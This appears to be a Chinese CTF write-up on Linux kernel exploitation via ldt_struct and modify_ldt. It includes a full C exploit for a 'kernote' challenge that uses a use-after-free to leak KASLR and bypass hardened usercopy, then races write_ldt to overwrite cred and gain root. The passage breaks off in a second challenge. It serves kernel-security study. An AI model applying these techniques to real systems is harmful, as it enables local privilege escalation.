目录

Kernel Pwn Struct ldt_struct and Syscall modify_ldt

内存管理中有一个分段机制, 除了 全局段描述符表GDT 以外, Linux 还支持每个进程独有一个 局部段描述符表LDT. 无论是 GDT 还是 LDT, 其中存的都是一些关于分段的信息. 这个表的每一项是一个段描述符, 包括段的 (起始) 地址, 界限 (大小), 以及属性权限.

局部段描述符表结构如下:

c

struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */
    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */
    int            slot;
};

其中 entries 是段描述符数组指针, nr_entries 是段描述符的个数. 可以看到, struct ldt_struct 的大小是 0x10.

struct desc_struct 如下:

c

/* 8 byte segment descriptor */
struct desc_struct {
  u16 limit0;
  u16 base0;
  u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
  u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

大小为 8 个字节, 其中的内容就是地址, 界限和属性.

有个系统调用 modify_ldt, 提供了对当前进程的 LDT 读写的操作, 代码如下:

c

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
    unsigned long , bytecount)
{
  int ret = -ENOSYS;

  switch (func) {
  case 0:
    ret = read_ldt(ptr, bytecount);
    break;
  case 1:
    ret = write_ldt(ptr, bytecount, 1);
    break;
  case 2:
    ret = read_default_ldt(ptr, bytecount);
    break;
  case 0x11:
    ret = write_ldt(ptr, bytecount, 0);
    break;
  }
  /*
   * The SYSCALL_DEFINE() macros give us an 'unsigned long'
   * return type, but tht ABI for sys_modify_ldt() expects
   * 'int'.  This cast gives us an int-sized value in %rax
   * for the return code.  The 'unsigned' is necessary so
   * the compiler does not try to sign-extend the negative
   * return codes into the high half of the register when
   * taking the value from int->long.
   */
  return (unsigned int)ret;
}

read_ldt() 将读取 ldt_struct->entries 最多 bytecount 个字节到 ptr 指针处:

c

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
  struct mm_struct *mm = current->mm;
  unsigned long entries_size;
  int retval;

  down_read(&mm->context.ldt_usr_sem);

  if (!mm->context.ldt) {
    retval = 0;
    goto out_unlock;
  }

  if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
    bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

  entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
  if (entries_size > bytecount)
    entries_size = bytecount;

  if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
    retval = -EFAULT;
    goto out_unlock;
  }

  if (entries_size != bytecount) {
    /* Zero-fill the rest and pretend we read bytecount bytes. */
    if (clear_user(ptr + entries_size, bytecount - entries_size)) {
      retval = -EFAULT;
      goto out_unlock;
    }
  }
  retval = bytecount;

out_unlock:
  up_read(&mm->context.ldt_usr_sem);
  return retval;
}

write_ldt() 修改某项 ldt:

c

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  struct mm_struct *mm = current->mm;
  struct ldt_struct *new_ldt, *old_ldt;
  unsigned int old_nr_entries, new_nr_entries;
  struct user_desc ldt_info;
  struct desc_struct ldt;
  int error;

  error = -EINVAL;
  if (bytecount != sizeof(ldt_info))
    goto out;
  error = -EFAULT;
  if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
    goto out;

  error = -EINVAL;
  if (ldt_info.entry_number >= LDT_ENTRIES)
    goto out;
  if (ldt_info.contents == 3) {
    if (oldmode)
      goto out;
    if (ldt_info.seg_not_present == 0)
      goto out;
  }

  if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
      LDT_empty(&ldt_info)) {
    /* The user wants to clear the entry. */
    memset(&ldt, 0, sizeof(ldt));
  } else {
    if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
      error = -EINVAL;
      goto out;
    }

    fill_ldt(&ldt, &ldt_info);
    if (oldmode)
      ldt.avl = 0;
  }
  // ...
  old_ldt        = mm->context.ldt;
  old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
  new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

  error = -ENOMEM;
  new_ldt = alloc_ldt_struct(new_nr_entries);
  // ...

  if (old_ldt)
    memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

  new_ldt->entries[ldt_info.entry_number] = ldt;
  finalize_ldt_struct(new_ldt);
  // ...
  error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
  // ...
  install_ldt(mm, new_ldt);
  unmap_ldt_struct(mm, old_ldt);
  free_ldt_struct(old_ldt);
  error = 0;

out_unlock:
  up_write(&mm->context.ldt_usr_sem);
out:
  return error;
}

可以看到, 参数 ptrstruct user_desc 指针, bytecount 必须等于 sizeof(struct user_desc). 在 fill_ldt() 中根据传入的 user_desc 转换为 struct desc_struct, 即段描述符.

其中, struct user_desc 如下:

c

struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
};

entry_number 最大值是 LDT_ENTRIES - 1, 查看源码发现 LDT_ENTRIES 是 8192. 也就是支持 8191 个局部描述符 (下标为 0 的留空)

然后 调用 alloc_ldt_struct() 分配一个 struct ldt_struct. 如果之前有 LDT, 则将旧的复制到新分配的, 再进行修改. 如果没有则直接修改.

这样做的原因和多核并发读写有关, 不是关注的重点, 同时上述代码也省略掉了并发和锁这一块的处理.

alloc_ldt_struct() 如下:

c

/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
  struct ldt_struct *new_ldt;
  unsigned int alloc_size;

  if (num_entries > LDT_ENTRIES)
    return NULL;

  new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
  if (!new_ldt)
    return NULL;

  BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
  alloc_size = num_entries * LDT_ENTRY_SIZE;

  /*
   * Xen is very picky: it requires a page-aligned LDT that has no
   * trailing nonzero bytes in any page that contains LDT descriptors.
   * Keep it simple: zero the whole allocation and never allocate less
   * than PAGE_SIZE.
   */
  if (alloc_size > PAGE_SIZE)
    new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
  else
    new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);

  if (!new_ldt->entries) {
    kfree(new_ldt);
    return NULL;
  }

  /* The new LDT isn't aliased for PTI yet. */
  new_ldt->slot = -1;

  new_ldt->nr_entries = num_entries;
  return new_ldt;
}

可以看到, struct ldt_struct new_ldt 使用 kmalloc 来分配, 也就是会从 kmalloc-16 中取.

如果有 kmalloc-16 的 UAF, 那么可以:

  1. read arbitrary (w)
    • leak page_offset_base
      • leak kbase
  2. write arbitrary (w)

由于 write_ldt() 使用 kmalloc() 从 kmalloc-16 中获取 object, 所以如果有 UAF, 那么可以修改 entries 指针, 然后 read_ldt() 便可以读取指针处的数据.

任意地址读需要的是 UAF 后的可写权限, 非常有意思

假如只有一个任意地址读, 并且开了 kaslr 的话, 一般不知道从哪个地址读. 所以这里需要进行一下泄漏. 这个泄漏的技巧只要能够控制 copy_to_user() 的 src, 就能够实现泄漏 page_offset_base (线性映射区, 也就是内核堆) 和 kernel code 偏移.

copy_to_user() 访问非法地址时, 并不会造成 panic, 而是返回一个错误代码. 所以可以多次修改 ldt_struct->entriesread_ldt(), 直到读取成功, 就找到了有效的地址.

没开 kaslr 时, page_offset_base 是常量 0xffff888000000000, 开了 kaslr 后, 会在 kernel_randomize_memory() 中加上一个随机偏移, 这个偏移对齐 PUD_MASK, 即 $2^30$. 所以我们可以从 0xffff888000000000 开始, 步长 0x40000000 去爆破 page_offset_base.

一旦得到了 page_offset_base, 那么我们可以在上面找到稳定的内核函数指针, 如 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64() 函数的地址, 该函数地址在没开 kaslr 下是 0xffffffff81000040, 于是我们可以修改一下 ldt_struct->entries, 然后 read_ldt()

Hardened usercopy 是对 copy_*_user 的一个安全性检查, 简单来说就是内核指针:

  1. 不允许为空指针
  2. 不允许指向 kmalloc 分配的零长度区域
  3. 不允许指向内核代码段
  4. 如果指向 Slab 则不允许超过 Slab 分配器分配的长度
  5. 如果指向非 Slab 的堆, 则不允许跨页
  6. 如果涉及到栈则不允许超出当前进程的栈空间

否则, 内核会 panic.

这样一来, 我们在搜索堆空间的时候, 如果将 bytecount 设置得比较大, 则会 panic; 如果比较小 (如 8), 则效率低.

不过, 有一种非常妙的方法可以绕过 Hardened Usercopy.

fork() 的调用链中, 会执行 ldt_dup_context(), 将父进程的 ldt 拷贝到子进程:

c

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
  struct ldt_struct *new_ldt;
  int retval = 0;

  if (!old_mm)
    return 0;

  mutex_lock(&old_mm->context.lock);
  if (!old_mm->context.ldt)
    goto out_unlock;

  new_ldt = alloc_ldt_struct(old_mm->context.ldt->nr_entries);
  if (!new_ldt) {
    retval = -ENOMEM;
    goto out_unlock;
  }

  memcpy(new_ldt->entries, old_mm->context.ldt->entries,
         new_ldt->nr_entries * LDT_ENTRY_SIZE);
  finalize_ldt_struct(new_ldt);

  retval = map_ldt_struct(mm, new_ldt, 0);
  if (retval) {
    free_ldt_pgtables(mm);
    free_ldt_struct(new_ldt);
    goto out_unlock;
  }
  mm->context.ldt = new_ldt;

out_unlock:
  mutex_unlock(&old_mm->context.lock);
  return retval;
}

可以看到, 调用 alloc_ldt_struct 新分配了一个 struct ldt_struct new_ldt, 然后用 memcpy()old_ldt->entries 上的数据拷贝到 new_ldt->entries. new_ldt->entries 地址是 vmalloc 空间上的, 可以正常 copy_to_user(). 所以父进程修改一下 ldt_struct->entries, 然后 fork() 一个子进程, 在子进程里 read_ldt 就绕过了非法拷贝的检查.

需要指出, 爆破 page_offset_base 不需要用这个技巧, 只需要设置 bytecount 为 8 即可.

write_ldt() 中, 有一个 memcpy() 的过程, 接着有一个写. 代码如下:

c

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  // ..
  new_ldt = alloc_ldt_struct(new_nr_entries);
  if (!new_ldt)
    goto out_unlock;

  if (old_ldt)
    memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

  new_ldt->entries[ldt_info.entry_number] = ldt;
  // ..
}

竞争一个窗口, 可以在 new_ldt->entries[ldt_info.entry_number] = ldt 之前将 new_ldt->entries 给修改了, 然后在相应位置上写 ldt. ldt 这个值可以通过 user_desc 控制, 需要满足限制条件. 不过幸运的是, 0 是可以的. (正好提权就是设置 euid = 0).

这个 new_ldt 是通过 kmalloc() 从 kmalloc-16 中分配出来的, 我们如果有 UAF, 那么可以用 UAF 去修改, 不需要考虑 write_ldt() 加的读写锁.

a3 说这个竞争比较难

README:

text

Here are some kernel config options in case you need it

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

可以看到用的是 slab 而不是默认的 slub. slab 的最小分配大小为 32, 即使所需要的空间小于 32, 还是会从 kmalloc-32 等大小为 32 的 slab 中取.

并且开了一些 freelist 的保护, random 是对 freelist 中节点的顺序随机化, hardened 是对 next 和一个值进行异或.

然后还开了 hardened usercopy 以及 static usermodehelper path. 前者以及介绍过了, 后者是将 modprobe_path 设为只读, 避免对 modprobe_path 的利用 (还没学).

qemu 启动脚本:

sh

#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot

开启 kaslr, kpti, smep, smap.

init:

sh

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
#mount -t devtmpfs devtmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev>/proc/sys/kernel/hotplug
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo "flag{testflag}">/flag
chmod 660 /flag
insmod /kernote.ko
#/sbin/mdev -s
chmod 666 /dev/kernote
chmod 777 /tmp
setsid cttyhack setuidgid 1000 sh
poweroff -f

不可查看 kallsyms 和 dmesg.

逆一下 kernote.ko, 主要是在 ioctl 中写了如下功能:

  1. 0x6667:

c

  else if ( (_DWORD)cmd == 0x6667 )           // 0x6667 malloc
    {
      v13 = -1LL;
      if ( arg_1 <= 0xF )
      {
        cmd = 3264LL;
        v11 = kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 8LL, v6, -1LL);
        buf[arg_1] = v11;
        v13 = -(__int64)(v11 == 0);
      }
      goto LABEL_15;
    }

可以看到, 这里是从 kmalloc_caches[5] (kmalloc-32) 中取 object, 即便它的大小是 8 (第三个参数). 保存在全局变量数组 buf 的相应下标中, 下标是我们传进来的参数, 不超过 15 个.

  1. 0x6668:

c

if ( (_DWORD)cmd == 0x6668 )                  // 0x6668 free
  {
    v13 = -1LL;
    if ( arg_1 <= 0xF )
    {
      v12 = buf[arg_1];
      if ( v12 )
      {
        kfree(v12, cmd, v5, v6, -1LL);
        v13 = 0LL;
        buf[arg_1] = 0LL;
      }
    }
    goto LABEL_15;
  }

简单的 kfree, 并且将其置 NULL 了.

  1. 0x6666

c

  if ( (_DWORD)cmd == 0x6666 )                // 0x6666 select
    {
      v13 = -1LL;
      if ( arg_1 > 0xF )
        goto LABEL_15;
      note = buf[arg_1];
    }

选择某个下标, 将对应值存到全局变量 note 上.

  1. 0x6669

c

if ( (_DWORD)cmd == 0x6669 )                  // 0x6669 write
  {
    v13 = -1LL;
    if ( note )
    {
      *(_QWORD *)note = arg_1;
      v13 = 0LL;
    }
    goto LABEL_15;
  }

向 note 指针指向的位置写入 8 个字节.

还有个 0x666A 的功能没什么用, 不放了.

这里很明显就是 select 之后 free 的 UAF, 但是只有写 8 字节的功能. 如果没有 kaslr, 那么可以用 seq_operations 劫持 rip. 所以第一步需要 leak kbase. 这里用之前说的方法即可:

c

    int fd = open("/dev/kernote", O_RDWR);
    ioctl(fd, ALLOC, 0);
    ioctl(fd, SELECT, 0);
    ioctl(fd, FREE, 0);
    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = 8191;
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    size_t tmp = 0;
    while (1) {
        ioctl(fd, WRITE, page_offset_base);
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    ioctl(fd, WRITE, page_offset_base + 0x9d000);
    modify_ldt(READ_LDT, &tmp, sizeof(tmp));
    kernel_offset = tmp - secondary_startup_64;
    printvar(success, "kernel offset", kernel_offset);

接下来有两个做法, 一个是 seq_operations + pt_regs, 另一个是直接在堆上搜 cred, 并修改 uid 为 0. 前者已经写过, 不再赘述. 详细说一下后者.

上面说道, 我们可以用 fork() + read_ldt() 的方法去读内核的任意地址, 那么首先把当前进程的 cred 给搜出来. 这里可以搜 task_struct, 它记录了进程的所有信息, 当然也包括 cred. 同时, 它还记录了 pid, 程序名等. 我们可以使用 prctl() 修改程序名, 然后搜字符串, 并且根据 cred 和 pid 来判断搜到的是不是当前进程的 task_struct.

task_struct 相关成员如下:

c

struct task_struct {
  // ...

  pid_t       pid;
  pid_t       tgid;

  // ...

  /* Process credentials: */

  /* Tracer's credentials at attach: */
  const struct cred __rcu   *ptracer_cred;

  /* Objective and real subjective task credentials (COW): */
  const struct cred __rcu   *real_cred;

  /* Effective (overridable) subjective task credentials (COW): */
  const struct cred __rcu   *cred;

#ifdef CONFIG_KEYS
  /* Cached requested key. */
  struct key      *cached_requested_key;
#endif

  /*
   * executable name, excluding path.
   *
   * - normally initialized setup_new_exec()
   * - access it with [gs]et_task_comm()
   * - lock it with task_lock()
   */
  char        comm[TASK_COMM_LEN];

  //...
};

搜索代码如下:

c

    prctl(PR_SET_NAME, "WingsWingsWings");
    int pipefd[2];
    pipe(pipefd);
    int buf_size = 0x10000;
    void *buf = malloc(buf_size);
    size_t cur = page_offset_base;
    size_t pid = getpid();
    size_t cred_addr = 0;
    while (1) {
        ioctl(fd, WRITE, cur);
        if (!fork()) {
            cred_addr = 0;
            prctl(PR_SET_NAME, "pwn");
            modify_ldt(READ_LDT, buf, buf_size);
            size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
            if (p && (int) p[-58] == pid && \
                p[-2] > page_offset_base && p[-3] > page_offset_base)
                cred_addr = p[-2];
            write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
            return;
        }
        wait(NULL);
        read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
        if (cred_addr)
            break;
        cur += buf_size;
    }
    printvar(success, "cred address", cred_addr);

这里的 buf_sizeread_ldt() 能够读的最大值 ($8192 \times 8$). 全部读到用户空间后, 看 $-58 \times 8$ 的位置是不是 pid, (官方题解里还加了看前面是不是 credreal_cred, 但是条件有点弱, 只是看地址是不是在堆上, copy 一下).

找到 cred 地址之后, 利用条件竞争去任意地址写. 不过, 当前的 ldt_struct->entries 已经被我们给修改掉了, 再一次进行 write_ldt() 的话, 代码里有对旧的 ldt 进行处理:

c

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  // ...
  unmap_ldt_struct(mm, old_ldt);
  free_ldt_struct(old_ldt);
  // ...
}

这样会导致 unmap 失败. 而我们也没有 UAF 读的功能, 很难去恢复它. 不过, 在介绍绕过 hardened usercopy 时提到, fork() 子进程会去 alloc 新的 ldt, 然后 copy. 这个新的 ldt 虽然内容不对, 但是地址是有效的. 所以后续利用 write_ldt(), 得先 fork() 一下.

cred 结构体在偏移 0x4 位置开始保存 uid 等, 前面也说过将 ldt 设置为 0 (user_desc.base_addr = 0, user_desc.limit = 0) 是可行的, write_ldt() 中的写入代码为 new_ldt->entries[ldt_info.entry_number] = ldt;, 所以设置 user_desc.entry_number = 0, 配合竞争修改 new_ldt->entries = &cred + 4, 便可以将 uid 设置为 0.

很容易写出下面的竞争:

c

  if(!fork()) {
    if (!fork()) {
        for (;;)
            ioctl(fd, WRITE, cred_addr + 4);
    }
    else {
        desc.entry_number = 0;
        for (;;) {
            ioctl(fd, ALLOC, 0);
            ioctl(fd, SELECT, 0);
            ioctl(fd, FREE, 0);
            modify_ldt(WRITE_LDT, &desc, sizeof(desc));
        }
    }
  }

由于父子进程共享文件描述符号, 所以父进程在 alloc ldt 后, 可以在子进程中不断 UAF 写 ldt_struct->entries.

这样做有一个缺点, 假如没竞争上, 但是 UAF 改了 ldt_struct->entries, 那么再次 write_ldt() 会直接 panic. 不过这样确实可以将 uid 修改. 在被修改的父进程不断 getuid() 打印, 发现在 panic 之前是有输出 uid 0 的. 所以可以利用这一小段时间, 将 flag 读出并打印.

c

    if (!fork()) {
        desc.entry_number = 0;
        if (!fork())
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        else {
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
            }
        }
    }
    else {
        for (;getuid(););
        printvar(success, "uid", getuid());
        setreuid(0, 0);
        int flag_fd = open("/flag", O_RDONLY);
        read(flag_fd, buf, 0x50);
        puts(buf);
    }

灵活运用 pipe, 阻塞父子进程, 在 write_ldt() 后检查 uid, 这样可以避免修改 ldt_struct->entries 后又 write_ldt(), 有概率可以拿 root shell.

c

    if (!fork()) {
        if (!fork()) {
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        }
        else {
            desc.entry_number = 0;
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
                write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
                read(pipefd2[READ_PIPE], &flag, sizeof(flag));
            }
        }
    }
    else {
        for (;;) {
            read(pipefd[READ_PIPE], &flag, sizeof(flag));
            flag = getuid();
            if (flag)
                write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
            else {
                setreuid(0, 0);
                getRootShell();
            }
        }
    }

有时也会 panic, 太菜了找一天了找不到原因. 试了很多方法, 都不能稳定竞争提权 (貌似是开了 panic_on_warn 导致 panic 很多), 官方 exp 神奇的申请释放也看不懂, 就这样吧累了.

完整 exp:

c

// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <linux/userfaultfd.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <semaphore.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define SELECT      0x6666
#define ALLOC       0x6667
#define FREE        0x6668
#define WRITE       0x6669
#define WRITE_LDT   1
#define READ_LDT    0
#define READ_PIPE   0
#define WRITE_PIPE  1

size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;
const size_t secondary_startup_64 = 0xffffffff81000040;
size_t kernel_offset;

int modify_ldt(int func, void *ptr, unsigned long bytecount) {
    return syscall(SYS_modify_ldt, func, ptr, bytecount);
}

void sleepForEver() {
    sleep(114514);
}

void pwn() {
    int fd = open("/dev/kernote", O_RDWR);
    ioctl(fd, ALLOC, 0);
    ioctl(fd, SELECT, 0);
    ioctl(fd, FREE, 0);
    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = 8191;
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    size_t tmp = 0;
    while (1) {
        ioctl(fd, WRITE, page_offset_base);
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    ioctl(fd, WRITE, page_offset_base + 0x9d000);
    modify_ldt(READ_LDT, &tmp, sizeof(tmp));
    kernel_offset = tmp - secondary_startup_64;
    printvar(success, "kernel offset", kernel_offset);

    prctl(PR_SET_NAME, "WingsWingsWings");
    int pipefd[2];
    pipe(pipefd);
    int buf_size = 0x10000;
    void *buf = malloc(buf_size);
    size_t cur = page_offset_base;
    size_t pid = getpid();
    size_t cred_addr = 0;
    while (1) {
        ioctl(fd, WRITE, cur);
        if (!fork()) {
            cred_addr = 0;
            prctl(PR_SET_NAME, "fuck");
            modify_ldt(READ_LDT, buf, buf_size);
            size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
            if (p && (int) p[-58] == pid && \
                p[-2] > page_offset_base && p[-3] > page_offset_base)
                cred_addr = p[-2];
            write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
            return;
        }
        wait(NULL);
        read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
        if (cred_addr)
            break;
        cur += buf_size;
    }
    printvar(success, "cred address", cred_addr);

    if (!fork()) {
        desc.entry_number = 0;
        if (!fork())
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        else {
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
            }
        }
    }
    else {
        for (;getuid(););
        printvar(success, "uid", getuid());
        setreuid(0, 0);
        int flag_fd = open("/flag", O_RDONLY);
        read(flag_fd, buf, 0x50);
        puts(buf);
    }

    // int pipefd2[2];
    // pipe(pipefd2);
    // int flag;

    // pid = fork();
    // if (!pid) {
    //     if (!fork()) {
    // ioctl(fd, ALLOC, 0);
    // ioctl(fd, SELECT, 0);
    //         for (;;)
    //             ioctl(fd, WRITE, cred_addr + 4);
    //     }
    //     else {
    //         desc.entry_number = 0;
    //         for (;;) {
    //             ioctl(fd, ALLOC, 0);
    //             ioctl(fd, SELECT, 0);
    //             ioctl(fd, FREE, 0);
    //             modify_ldt(WRITE_LDT, &desc, sizeof(desc));
    //             write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
    //             read(pipefd2[READ_PIPE], &flag, sizeof(flag));
    //         }
    //     }
    // }
    // else {
    //     for (;;) {
    //         read(pipefd[READ_PIPE], &flag, sizeof(flag));
    //         flag = getuid();
    //         if (flag)
    //             write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
    //         else {
    //             setreuid(0, 0);
    //             getRootShell();
    //         }
    //     }
    // }
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

如果题目使用的文件系统是 initrd 或者 initramfs, 那么可以直接在内存中搜 flag. initrd / initramfs 是一种 ram disk, 内核启动时会将文件系统加载到直接映射区中, 然后把这一块当作文件系统.

所以如果有任意地址读, 并且题目用的是 initrd / initramfs, 那么可以直接搜 flag. 下面以被 a3 暴锤的 2023 Real World CTF 体验赛 Digging into Kernel 3 为例.

qemu 启动脚本:

sh

#!/bin/sh

qemu-system-x86_64 \
  -m 128M \
  -nographic \
  -kernel ./bzImage \
  -initrd ./rootfs.img \
  -enable-kvm \
  -cpu kvm64,+smap,+smep \
  -monitor /dev/null \
  -append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
  -no-reboot \
  -snapshot \
  -s

开启 smap, smep, kaslr, kpti. 可以看到, 加载文件系统用的选项是 -initrd.

init:

sh

#!/bin/sh

mkdir /tmp 
mount -t proc none /proc 
mount -t sysfs none /sys 
mount -t devtmpfs none /dev 
mount -t tmpfs none /tmp 

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /rwctf.ko
chmod 666 /dev/rwctf
chmod 700 /flag
chmod 400 /proc/kallsyms

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

poweroff -d 120 -f &

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" 
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0 -f

安装 rwctf.ko 模块到 /dev/rwctf, 禁用 kallsyms 和 dmesg.

rwctf.ko 只实现了 ioctl, 稍微逆一下参数结构体是:

c

struct arg_t
{
  uint idx;
  uint size;
  void *buf;
};

ioctl 逆完是:

c

__int64 __fastcall rwmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // r12
  __int64 idx; // rbx
  __int64 v6; // rdi
  arg_t v7; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+18h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  if ( !a3 )
    return -1LL;
  if ( a2 == 0xC0DECAFE )
  {
    if ( !copy_from_user(&v7, a3, 16LL) && v7.idx <= 1 )
      kfree(buf[v7.idx]);
    return 0LL;
  }
  v3 = -1LL;
  if ( a2 == 0xDEADBEEF )
  {
    if ( copy_from_user(&v7, a3, 16LL) )
      return 0LL;
    idx = v7.idx;
    if ( v7.idx > 1 )
      return 0LL;
    buf[idx] = _kmalloc(v7.size, 3520LL);
    v6 = buf[v7.idx];
    if ( !v6 )
      return 0LL;
